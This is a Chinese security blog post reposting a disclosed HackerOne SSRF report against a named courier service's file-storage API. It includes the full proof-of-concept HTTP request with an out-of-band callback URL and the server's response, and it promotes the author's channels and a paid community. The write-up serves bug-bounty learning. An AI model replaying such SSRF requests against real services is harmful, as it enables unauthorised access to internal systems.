看到了，关注一下不吃亏啊，点个赞转发一下啦，WP看不下去的，可以B站搜：标松君，UP主录的打靶视频，欢迎关注。顺便宣传一下星球：重生者安全， 里面每天会不定期更新OSCP知识点，车联网，渗透红队以及漏洞挖掘工具等信息分享，欢迎加入；以及想挖SRC逻辑漏洞的朋友，可以私聊。
—
SSRF
有时候，改一下URL地址，就能搞到2000刀了。。。歪果仁就改了URL的参数，洞就来了，POC：
GET /api/file-storage?url=http://va99zfc0lxpm75ogmcjhz8xij9pzdo.oastify.com HTTP/2Host: couriers.indrive.comSec-Ch-Ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Linux"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9,ar;q=0.8
响应：
HTTP/2 200 OKAuthorization: Bearer undefinedContent-Disposition: attachment; filename="fileDate: Sun, 31 Dec 2023 13:19:04 GMTX-Envoy-Upstream-Service-Time: 678Server: istio-envoyX-Cache: Miss from cloudfrontVia: 1.1 33c6e91bdc193e34e8dcc80edc466018.cloudfront.net (CloudFront)X-Amz-Cf-Pop: MRS52-P2X-Amz-Cf-Id: 9GuBZr1A03ZS0bEYUbDp80JZj8dNYCE4YoVUImLD5RU15dEM-vs5fQ==<html><body>6zy5d1pwzab93qopx8jq2ezjigz</body></html>
原文链接：
https://hackerone.com/reports/2300358
原文始发于微信公众号（道玄网安驿站）：价值2000$的SSRF，和捡钱一样容易
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论